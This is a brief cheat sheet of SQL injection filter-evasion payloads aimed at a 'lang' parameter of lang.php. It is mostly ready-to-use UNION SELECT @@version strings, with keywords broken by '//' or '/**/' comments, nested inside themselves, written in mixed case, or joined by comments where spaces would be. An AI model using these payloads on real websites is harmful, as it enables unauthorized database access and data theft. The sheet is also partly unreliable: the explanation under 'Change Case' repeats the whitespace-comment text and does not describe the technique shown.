The following list gives a very small selection of filter evasion techniques.

Keywords Filtered (// method)

```
/lang.php?lang=af'+UN//ION+All+SEL//ECT+%40%40ve//rsion
```

By breaking up keywords with a `//`, some filters may be bypassed.

Keywords Filtered (/**/ method)

```
/lang.php?lang=af'+UN/**/ION+All+SEL/**/ECT+%40%40ve//rsion
```

By breaking up keywords with comments `/**/`, some filters may be bypassed.

Keywords Filtered (Keyword in Keyword method)

```
/lang.php?lang=af'+UNUNIONION+All+SELSELECTECT+%40%40veversionrsion
```

By inserting the keyword into the middle of the keyword, some filters may be bypassed.

Keywords Filtered (Change Case)

```
/lang.php?lang=af'+UniOn+All+SelEcT+%40%40version
```

By replacing spaces with comments (e.g. `/*space*/`), some filters may be bypassed.

Whitespace Removed

```
/lang.php?lang=af'/*space*/UNION/*space*/All/*space*/SELECT/*space*/%40%40version
```

By replacing spaces with comments (e.g. `/*space*/`), some filters may be bypassed.
